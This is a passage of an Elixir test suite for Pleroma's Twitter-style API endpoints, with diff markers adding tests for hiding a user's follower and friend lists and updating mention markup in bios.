alias Pleroma.Web.TwitterAPI.NotificationView
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.TwitterAPI.TwitterAPI
alias Comeonin.Pbkdf2
import Pleroma.Factory
describe "POST /api/account/update_profile_banner" do
test "it updates the banner", %{conn: conn} do
user = insert(:user)
new_banner =
"data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7"
response =
conn
|> assign(:user, user)
|> post(authenticated_twitter_api__path(conn, :update_banner), %{"banner" => new_banner})
|> json_response(200)
user = Repo.get(User, user.id)
assert user.info.banner["type"] == "Image"
end
end
describe "POST /api/qvitter/update_background_image" do
test "it updates the background", %{conn: conn} do
user = insert(:user)
new_bg =
"data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7"
response =
conn
|> assign(:user, user)
|> post(authenticated_twitter_api__path(conn, :update_background), %{"img" => new_bg})
|> json_response(200)
user = Repo.get(User, user.id)
assert user.info.background["type"] == "Image"
end
end
describe "POST /api/account/verify_credentials" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/account/verify_credentials.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: user} do
conn =
conn
|> with_credentials(user.nickname, "test")
|> post("/api/account/verify_credentials.json")
assert response = json_response(conn, 200)
assert response == UserView.render("show.json", %{user: user, token: response["token"]})
end
end
describe "POST /statuses/update.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/statuses/update.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: user} do
conn_with_creds = conn |> with_credentials(user.nickname, "test")
request_path = "/api/statuses/update.json"
error_response = %{
"request" => request_path,
"error" => "Client must provide a 'status' parameter with a value."
}
conn = conn_with_creds |> post(request_path)
assert json_response(conn, 400) == error_response
conn = conn_with_creds |> post(request_path, %{status: ""})
assert json_response(conn, 400) == error_response
conn = conn_with_creds |> post(request_path, %{status: " "})
assert json_response(conn, 400) == error_response
# we post with visibility private in order to avoid triggering relay
conn = conn_with_creds |> post(request_path, %{status: "Nice meme.", visibility: "private"})
assert json_response(conn, 200) ==
ActivityRepresenter.to_map(Repo.one(Activity), %{user: user})
end
end
describe "GET /statuses/public_timeline.json" do
test "returns statuses", %{conn: conn} do
user = insert(:user)
activities = ActivityBuilder.insert_list(30, %{}, %{user: user})
ActivityBuilder.insert_list(10, %{}, %{user: user})
since_id = List.last(activities).id
conn =
conn
|> get("/api/statuses/public_timeline.json", %{since_id: since_id})
response = json_response(conn, 200)
assert length(response) == 10
end
test "returns 403 to unauthenticated request when the instance is not public" do
instance =
Application.get_env(:pleroma, :instance)
|> Keyword.put(:public, false)
Application.put_env(:pleroma, :instance, instance)
conn
|> get("/api/statuses/public_timeline.json")
|> json_response(403)
instance =
Application.get_env(:pleroma, :instance)
|> Keyword.put(:public, true)
Application.put_env(:pleroma, :instance, instance)
end
test "returns 200 to unauthenticated request when the instance is public" do
conn
|> get("/api/statuses/public_timeline.json")
|> json_response(200)
end
end
describe "GET /statuses/public_and_external_timeline.json" do
test "returns 403 to unauthenticated request when the instance is not public" do
instance =
Application.get_env(:pleroma, :instance)
|> Keyword.put(:public, false)
Application.put_env(:pleroma, :instance, instance)
conn
|> get("/api/statuses/public_and_external_timeline.json")
|> json_response(403)
instance =
Application.get_env(:pleroma, :instance)
|> Keyword.put(:public, true)
Application.put_env(:pleroma, :instance, instance)
end
test "returns 200 to unauthenticated request when the instance is public" do
conn
|> get("/api/statuses/public_and_external_timeline.json")
|> json_response(200)
end
end
describe "GET /statuses/show/:id.json" do
test "returns one status", %{conn: conn} do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey!"})
actor = Repo.get_by!(User, ap_id: activity.data["actor"])
conn =
conn
|> get("/api/statuses/show/#{activity.id}.json")
response = json_response(conn, 200)
assert response == ActivityRepresenter.to_map(activity, %{user: actor})
end
end
describe "GET /users/show.json" do
test "gets user with screen_name", %{conn: conn} do
user = insert(:user)
conn =
conn
|> get("/api/users/show.json", %{"screen_name" => user.nickname})
response = json_response(conn, 200)
assert response["id"] == user.id
end
test "gets user with user_id", %{conn: conn} do
user = insert(:user)
conn =
conn
|> get("/api/users/show.json", %{"user_id" => user.id})
response = json_response(conn, 200)
assert response["id"] == user.id
end
test "gets a user for a logged in user", %{conn: conn} do
user = insert(:user)
logged_in = insert(:user)
{:ok, logged_in, user, _activity} = TwitterAPI.follow(logged_in, %{"user_id" => user.id})
conn =
conn
|> with_credentials(logged_in.nickname, "test")
|> get("/api/users/show.json", %{"user_id" => user.id})
response = json_response(conn, 200)
assert response["following"] == true
end
end
describe "GET /statusnet/conversation/:id.json" do
test "returns the statuses in the conversation", %{conn: conn} do
{:ok, _user} = UserBuilder.insert()
{:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
{:ok, _activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
{:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"})
conn =
conn
|> get("/api/statusnet/conversation/#{activity.data["context_id"]}.json")
response = json_response(conn, 200)
assert length(response) == 2
end
end
describe "GET /statuses/friends_timeline.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = get(conn, "/api/statuses/friends_timeline.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
user = insert(:user)
activities =
ActivityBuilder.insert_list(30, %{"to" => [User.ap_followers(user)]}, %{user: user})
returned_activities =
ActivityBuilder.insert_list(10, %{"to" => [User.ap_followers(user)]}, %{user: user})
other_user = insert(:user)
ActivityBuilder.insert_list(10, %{}, %{user: other_user})
since_id = List.last(activities).id
current_user =
Ecto.Changeset.change(current_user, following: [User.ap_followers(user)])
|> Repo.update!()
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/statuses/friends_timeline.json", %{since_id: since_id})
response = json_response(conn, 200)
assert length(response) == 10
assert response ==
Enum.map(returned_activities, fn activity ->
ActivityRepresenter.to_map(activity, %{
user: User.get_cached_by_ap_id(activity.data["actor"]),
for: current_user
})
end)
end
end
describe "GET /statuses/dm_timeline.json" do
test "it show direct messages", %{conn: conn} do
user_one = insert(:user)
user_two = insert(:user)
{:ok, user_two} = User.follow(user_two, user_one)
{:ok, direct} =
CommonAPI.post(user_one, %{
"status" => "Hi @#{user_two.nickname}!",
"visibility" => "direct"
})
{:ok, direct_two} =
CommonAPI.post(user_two, %{
"status" => "Hi @#{user_one.nickname}!",
"visibility" => "direct"
})
{:ok, _follower_only} =
CommonAPI.post(user_one, %{
"status" => "Hi @#{user_two.nickname}!",
"visibility" => "private"
})
# Only direct should be visible here
res_conn =
conn
|> assign(:user, user_two)
|> get("/api/statuses/dm_timeline.json")
[status, status_two] = json_response(res_conn, 200)
assert status["id"] == direct_two.id
assert status_two["id"] == direct.id
end
end
describe "GET /statuses/mentions.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = get(conn, "/api/statuses/mentions.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
{:ok, activity} =
ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: current_user})
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/statuses/mentions.json")
response = json_response(conn, 200)
assert length(response) == 1
assert Enum.at(response, 0) ==
ActivityRepresenter.to_map(activity, %{
user: current_user,
mentioned: [current_user]
})
end
end
describe "GET /api/qvitter/statuses/notifications.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = get(conn, "/api/qvitter/statuses/notifications.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
other_user = insert(:user)
{:ok, _activity} =
ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/qvitter/statuses/notifications.json")
response = json_response(conn, 200)
assert length(response) == 1
assert response ==
NotificationView.render("notification.json", %{
notifications: Notification.for_user(current_user),
for: current_user
})
end
end
describe "POST /api/qvitter/statuses/notifications/read" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567})
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials, without any params", %{conn: conn, user: current_user} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/qvitter/statuses/notifications/read")
assert json_response(conn, 400) == %{
"error" => "You need to specify latest_id",
"request" => "/api/qvitter/statuses/notifications/read"
}
end
test "with credentials, with params", %{conn: conn, user: current_user} do
other_user = insert(:user)
{:ok, _activity} =
ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})
response_conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/qvitter/statuses/notifications.json")
[notification] = response = json_response(response_conn, 200)
assert length(response) == 1
assert notification["is_seen"] == 0
response_conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]})
[notification] = response = json_response(response_conn, 200)
assert length(response) == 1
assert notification["is_seen"] == 1
end
end
describe "GET /statuses/user_timeline.json" do
setup [:valid_user]
test "without any params", %{conn: conn} do
conn = get(conn, "/api/statuses/user_timeline.json")
assert json_response(conn, 400) == %{
"error" => "You need to specify screen_name or user_id",
"request" => "/api/statuses/user_timeline.json"
}
end
test "with user_id", %{conn: conn} do
user = insert(:user)
{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
conn = get(conn, "/api/statuses/user_timeline.json", %{"user_id" => user.id})
response = json_response(conn, 200)
assert length(response) == 1
assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
end
test "with screen_name", %{conn: conn} do
user = insert(:user)
{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
conn = get(conn, "/api/statuses/user_timeline.json", %{"screen_name" => user.nickname})
response = json_response(conn, 200)
assert length(response) == 1
assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
end
test "with credentials", %{conn: conn, user: current_user} do
{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: current_user})
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/statuses/user_timeline.json")
response = json_response(conn, 200)
assert length(response) == 1
assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: current_user})
end
test "with credentials with user_id", %{conn: conn, user: current_user} do
user = insert(:user)
{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/statuses/user_timeline.json", %{"user_id" => user.id})
response = json_response(conn, 200)
assert length(response) == 1
assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
end
test "with credentials screen_name", %{conn: conn, user: current_user} do
user = insert(:user)
{:ok, activity} = ActivityBuilder.insert(%{"id" => 1}, %{user: user})
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/statuses/user_timeline.json", %{"screen_name" => user.nickname})
response = json_response(conn, 200)
assert length(response) == 1
assert Enum.at(response, 0) == ActivityRepresenter.to_map(activity, %{user: user})
end
end
describe "POST /friendships/create.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/friendships/create.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
followed = insert(:user)
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/friendships/create.json", %{user_id: followed.id})
current_user = Repo.get(User, current_user.id)
assert User.ap_followers(followed) in current_user.following
assert json_response(conn, 200) ==
UserView.render("show.json", %{user: followed, for: current_user})
end
end
describe "POST /friendships/destroy.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/friendships/destroy.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
followed = insert(:user)
{:ok, current_user} = User.follow(current_user, followed)
assert User.ap_followers(followed) in current_user.following
ActivityPub.follow(current_user, followed)
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/friendships/destroy.json", %{user_id: followed.id})
current_user = Repo.get(User, current_user.id)
assert current_user.following == [current_user.ap_id]
assert json_response(conn, 200) ==
UserView.render("show.json", %{user: followed, for: current_user})
end
end
describe "POST /blocks/create.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/blocks/create.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
blocked = insert(:user)
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/blocks/create.json", %{user_id: blocked.id})
current_user = Repo.get(User, current_user.id)
assert User.blocks?(current_user, blocked)
assert json_response(conn, 200) ==
UserView.render("show.json", %{user: blocked, for: current_user})
end
end
describe "POST /blocks/destroy.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/blocks/destroy.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
blocked = insert(:user)
{:ok, current_user, blocked} = TwitterAPI.block(current_user, %{"user_id" => blocked.id})
assert User.blocks?(current_user, blocked)
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/blocks/destroy.json", %{user_id: blocked.id})
current_user = Repo.get(User, current_user.id)
assert current_user.info.blocks == []
assert json_response(conn, 200) ==
UserView.render("show.json", %{user: blocked, for: current_user})
end
end
describe "GET /help/test.json" do
test "returns \"ok\"", %{conn: conn} do
conn = get(conn, "/api/help/test.json")
assert json_response(conn, 200) == "ok"
end
end
describe "POST /api/qvitter/update_avatar.json" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
conn = post(conn, "/api/qvitter/update_avatar.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
avatar_image = File.read!("test/fixtures/avatar_data_uri")
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/qvitter/update_avatar.json", %{img: avatar_image})
current_user = Repo.get(User, current_user.id)
assert is_map(current_user.avatar)
assert json_response(conn, 200) ==
UserView.render("show.json", %{user: current_user, for: current_user})
end
end
describe "GET /api/qvitter/mutes.json" do
setup [:valid_user]
test "unimplemented mutes without valid credentials", %{conn: conn} do
conn = get(conn, "/api/qvitter/mutes.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "unimplemented mutes with credentials", %{conn: conn, user: current_user} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> get("/api/qvitter/mutes.json")
current_user = Repo.get(User, current_user.id)
assert [] = json_response(conn, 200)
end
end
describe "POST /api/favorites/create/:id" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
note_activity = insert(:note_activity)
conn = post(conn, "/api/favorites/create/#{note_activity.id}.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
note_activity = insert(:note_activity)
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/favorites/create/#{note_activity.id}.json")
assert json_response(conn, 200)
end
test "with credentials, invalid param", %{conn: conn, user: current_user} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/favorites/create/wrong.json")
assert json_response(conn, 400)
end
test "with credentials, invalid activity", %{conn: conn, user: current_user} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/favorites/create/1.json")
assert json_response(conn, 500)
end
end
describe "POST /api/favorites/destroy/:id" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
note_activity = insert(:note_activity)
conn = post(conn, "/api/favorites/destroy/#{note_activity.id}.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
note_activity = insert(:note_activity)
object = Object.get_by_ap_id(note_activity.data["object"]["id"])
ActivityPub.like(current_user, object)
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/favorites/destroy/#{note_activity.id}.json")
assert json_response(conn, 200)
end
end
describe "POST /api/statuses/retweet/:id" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
note_activity = insert(:note_activity)
conn = post(conn, "/api/statuses/retweet/#{note_activity.id}.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
note_activity = insert(:note_activity)
request_path = "/api/statuses/retweet/#{note_activity.id}.json"
response =
conn
|> with_credentials(current_user.nickname, "test")
|> post(request_path)
activity = Repo.get(Activity, note_activity.id)
activity_user = Repo.get_by(User, ap_id: note_activity.data["actor"])
assert json_response(response, 200) ==
ActivityRepresenter.to_map(activity, %{user: activity_user, for: current_user})
end
end
describe "POST /api/statuses/unretweet/:id" do
setup [:valid_user]
test "without valid credentials", %{conn: conn} do
note_activity = insert(:note_activity)
conn = post(conn, "/api/statuses/unretweet/#{note_activity.id}.json")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials", %{conn: conn, user: current_user} do
note_activity = insert(:note_activity)
request_path = "/api/statuses/retweet/#{note_activity.id}.json"
_response =
conn
|> with_credentials(current_user.nickname, "test")
|> post(request_path)
request_path = String.replace(request_path, "retweet", "unretweet")
response =
conn
|> with_credentials(current_user.nickname, "test")
|> post(request_path)
activity = Repo.get(Activity, note_activity.id)
activity_user = Repo.get_by(User, ap_id: note_activity.data["actor"])
assert json_response(response, 200) ==
ActivityRepresenter.to_map(activity, %{user: activity_user, for: current_user})
end
end
describe "POST /api/account/register" do
test "it creates a new user", %{conn: conn} do
data = %{
"nickname" => "lain",
"email" => "lain@wired.jp",
"fullname" => "lain iwakura",
"bio" => "close the world.",
"password" => "bear",
"confirm" => "bear"
}
conn =
conn
|> post("/api/account/register", data)
user = json_response(conn, 200)
fetched_user = Repo.get_by(User, nickname: "lain")
assert user == UserView.render("show.json", %{user: fetched_user})
end
test "it returns errors on a problem", %{conn: conn} do
data = %{
"email" => "lain@wired.jp",
"fullname" => "lain iwakura",
"bio" => "close the world.",
"password" => "bear",
"confirm" => "bear"
}
conn =
conn
|> post("/api/account/register", data)
errors = json_response(conn, 400)
assert is_binary(errors["error"])
end
end
describe "GET /api/externalprofile/show" do
test "it returns the user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
conn =
conn
|> assign(:user, user)
|> get("/api/externalprofile/show", %{profileurl: other_user.ap_id})
assert json_response(conn, 200) == UserView.render("show.json", %{user: other_user})
end
end
describe "GET /api/statuses/followers" do
test "it returns a user's followers", %{conn: conn} do
user = insert(:user)
follower_one = insert(:user)
follower_two = insert(:user)
_not_follower = insert(:user)
{:ok, follower_one} = User.follow(follower_one, user)
{:ok, follower_two} = User.follow(follower_two, user)
conn =
conn
|> assign(:user, user)
|> get("/api/statuses/followers")
expected = UserView.render("index.json", %{users: [follower_one, follower_two], for: user})
result = json_response(conn, 200)
assert Enum.sort(expected) == Enum.sort(result)
end
+
+ test "it returns a given user's followers with user_id", %{conn: conn} do
+ user = insert(:user)
+ follower_one = insert(:user)
+ follower_two = insert(:user)
+ not_follower = insert(:user)
+
+ {:ok, follower_one} = User.follow(follower_one, user)
+ {:ok, follower_two} = User.follow(follower_two, user)
+
+ conn =
+ conn
+ |> assign(:user, not_follower)
+ |> get("/api/statuses/followers", %{"user_id" => user.id})
+
+ assert MapSet.equal?(
+ MapSet.new(json_response(conn, 200)),
+ MapSet.new(
+ UserView.render("index.json", %{
+ users: [follower_one, follower_two],
+ for: not_follower
+ })
+ )
+ )
+ end
+
+ test "it returns empty for a hidden network", %{conn: conn} do
+ user = insert(:user, %{info: %{hide_network: true}})
+ follower_one = insert(:user)
+ follower_two = insert(:user)
+ not_follower = insert(:user)
+
+ {:ok, follower_one} = User.follow(follower_one, user)
+ {:ok, follower_two} = User.follow(follower_two, user)
+
+ conn =
+ conn
+ |> assign(:user, not_follower)
+ |> get("/api/statuses/followers", %{"user_id" => user.id})
+
+ assert [] == json_response(conn, 200)
+ end
+
+ test "it returns the followers for a hidden network if requested by the user themselves", %{
+ conn: conn
+ } do
+ user = insert(:user, %{info: %{hide_network: true}})
+ follower_one = insert(:user)
+ follower_two = insert(:user)
+ not_follower = insert(:user)
+
+ {:ok, follower_one} = User.follow(follower_one, user)
+ {:ok, follower_two} = User.follow(follower_two, user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/statuses/followers", %{"user_id" => user.id})
+
+ refute [] == json_response(conn, 200)
+ end
end
describe "GET /api/statuses/friends" do
test "it returns the logged in user's friends", %{conn: conn} do
user = insert(:user)
followed_one = insert(:user)
followed_two = insert(:user)
_not_followed = insert(:user)
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
conn =
conn
|> assign(:user, user)
|> get("/api/statuses/friends")
expected = UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
result = json_response(conn, 200)
assert Enum.sort(expected) == Enum.sort(result)
end
test "it returns a given user's friends with user_id", %{conn: conn} do
user = insert(:user)
followed_one = insert(:user)
followed_two = insert(:user)
_not_followed = insert(:user)
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
conn =
conn
|> assign(:user, user)
|> get("/api/statuses/friends", %{"user_id" => user.id})
assert MapSet.equal?(
MapSet.new(json_response(conn, 200)),
MapSet.new(
UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
)
)
end
+ test "it returns empty for a hidden network", %{conn: conn} do
+ user = insert(:user, %{info: %{hide_network: true}})
+ followed_one = insert(:user)
+ followed_two = insert(:user)
+ not_followed = insert(:user)
+
+ {:ok, user} = User.follow(user, followed_one)
+ {:ok, user} = User.follow(user, followed_two)
+
+ conn =
+ conn
+ |> assign(:user, not_followed)
+ |> get("/api/statuses/friends", %{"user_id" => user.id})
+
+ assert [] == json_response(conn, 200)
+ end
+
+ test "it returns friends for a hidden network if the user themselves request it", %{
+ conn: conn
+ } do
+ user = insert(:user, %{info: %{hide_network: true}})
+ followed_one = insert(:user)
+ followed_two = insert(:user)
+ not_followed = insert(:user)
+
+ {:ok, user} = User.follow(user, followed_one)
+ {:ok, user} = User.follow(user, followed_two)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/statuses/friends", %{"user_id" => user.id})
+
+ refute [] == json_response(conn, 200)
+ end
+
test "it returns a given user's friends with screen_name", %{conn: conn} do
user = insert(:user)
followed_one = insert(:user)
followed_two = insert(:user)
_not_followed = insert(:user)
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
conn =
conn
|> assign(:user, user)
|> get("/api/statuses/friends", %{"screen_name" => user.nickname})
assert MapSet.equal?(
MapSet.new(json_response(conn, 200)),
MapSet.new(
UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
)
)
end
end
describe "GET /friends/ids" do
test "it returns a user's friends", %{conn: conn} do
user = insert(:user)
followed_one = insert(:user)
followed_two = insert(:user)
_not_followed = insert(:user)
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
conn =
conn
|> assign(:user, user)
|> get("/api/friends/ids")
expected = [followed_one.id, followed_two.id]
assert MapSet.equal?(
MapSet.new(Poison.decode!(json_response(conn, 200))),
MapSet.new(expected)
)
end
end
describe "POST /api/account/update_profile.json" do
test "it updates a user's profile", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/account/update_profile.json", %{
"name" => "new name",
"description" => "hi @#{user2.nickname}"
})
user = Repo.get!(User, user.id)
assert user.name == "new name"
assert user.bio ==
- "hi <span><a class='mention' href='#{user2.ap_id}'>@<span>#{user2.nickname}</span></a></span>"
+ "hi <span><a data-user='#{user2.id}' class='mention' href='#{user2.ap_id}'>@<span>#{
+ user2.nickname
+ }</span></a></span>"
assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
end
+ test "it sets and un-sets hide_network", %{conn: conn} do
+ user = insert(:user)
+
+ conn
+ |> assign(:user, user)
+ |> post("/api/account/update_profile.json", %{
+ "hide_network" => "true"
+ })
+
+ user = Repo.get!(User, user.id)
+ assert user.info.hide_network == true
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/account/update_profile.json", %{
+ "hide_network" => "false"
+ })
+
+ user = Repo.get!(User, user.id)
+ assert user.info.hide_network == false
+ assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
+ end
+
test "it locks an account", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/account/update_profile.json", %{
"locked" => "true"
})
user = Repo.get!(User, user.id)
assert user.info.locked == true
assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
end
test "it unlocks an account", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/account/update_profile.json", %{
"locked" => "false"
})
user = Repo.get!(User, user.id)
assert user.info.locked == false
assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
end
end
defp valid_user(_context) do
user = insert(:user)
[user: user]
end
defp with_credentials(conn, username, password) do
header_content = "Basic " <> Base.encode64("#{username}:#{password}")
put_req_header(conn, "authorization", header_content)
end
describe "GET /api/search.json" do
test "it returns search results", %{conn: conn} do
user = insert(:user)
user_two = insert(:user, %{nickname: "shp@shitposter.club"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu"})
{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})
conn =
conn
|> get("/api/search.json", %{"q" => "2hu", "page" => "1", "rpp" => "1"})
assert [status] = json_response(conn, 200)
assert status["id"] == activity.id
end
end
describe "GET /api/statusnet/tags/timeline/:tag.json" do
test "it returns the tags timeline", %{conn: conn} do
user = insert(:user)
user_two = insert(:user, %{nickname: "shp@shitposter.club"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "This is about #2hu"})
{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})
conn =
conn
|> get("/api/statusnet/tags/timeline/2hu.json")
assert [status] = json_response(conn, 200)
assert status["id"] == activity.id
end
end
test "Convert newlines to <br> in bio", %{conn: conn} do
user = insert(:user)
_conn =
conn
|> assign(:user, user)
|> post("/api/account/update_profile.json", %{
"description" => "Hello,\r\nWorld! I\n am a test."
})
user = Repo.get!(User, user.id)
assert user.bio == "Hello,<br>World! I<br> am a test."
end
describe "POST /api/pleroma/change_password" do
setup [:valid_user]
test "without credentials", %{conn: conn} do
conn = post(conn, "/api/pleroma/change_password")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials and invalid password", %{conn: conn, user: current_user} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/pleroma/change_password", %{
"password" => "hi",
"new_password" => "newpass",
"new_password_confirmation" => "newpass"
})
assert json_response(conn, 200) == %{"error" => "Invalid password."}
end
test "with credentials, valid password and new password and confirmation not matching", %{
conn: conn,
user: current_user
} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/pleroma/change_password", %{
"password" => "test",
"new_password" => "newpass",
"new_password_confirmation" => "notnewpass"
})
assert json_response(conn, 200) == %{
"error" => "New password does not match confirmation."
}
end
test "with credentials, valid password and invalid new password", %{
conn: conn,
user: current_user
} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/pleroma/change_password", %{
"password" => "test",
"new_password" => "",
"new_password_confirmation" => ""
})
assert json_response(conn, 200) == %{
"error" => "New password can't be blank."
}
end
test "with credentials, valid password and matching new password and confirmation", %{
conn: conn,
user: current_user
} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/pleroma/change_password", %{
"password" => "test",
"new_password" => "newpass",
"new_password_confirmation" => "newpass"
})
assert json_response(conn, 200) == %{"status" => "success"}
fetched_user = Repo.get(User, current_user.id)
assert Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true
end
end
describe "POST /api/pleroma/delete_account" do
setup [:valid_user]
test "without credentials", %{conn: conn} do
conn = post(conn, "/api/pleroma/delete_account")
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
end
test "with credentials and invalid password", %{conn: conn, user: current_user} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/pleroma/delete_account", %{"password" => "hi"})
assert json_response(conn, 200) == %{"error" => "Invalid password."}
end
test "with credentials and valid password", %{conn: conn, user: current_user} do
conn =
conn
|> with_credentials(current_user.nickname, "test")
|> post("/api/pleroma/delete_account", %{"password" => "test"})
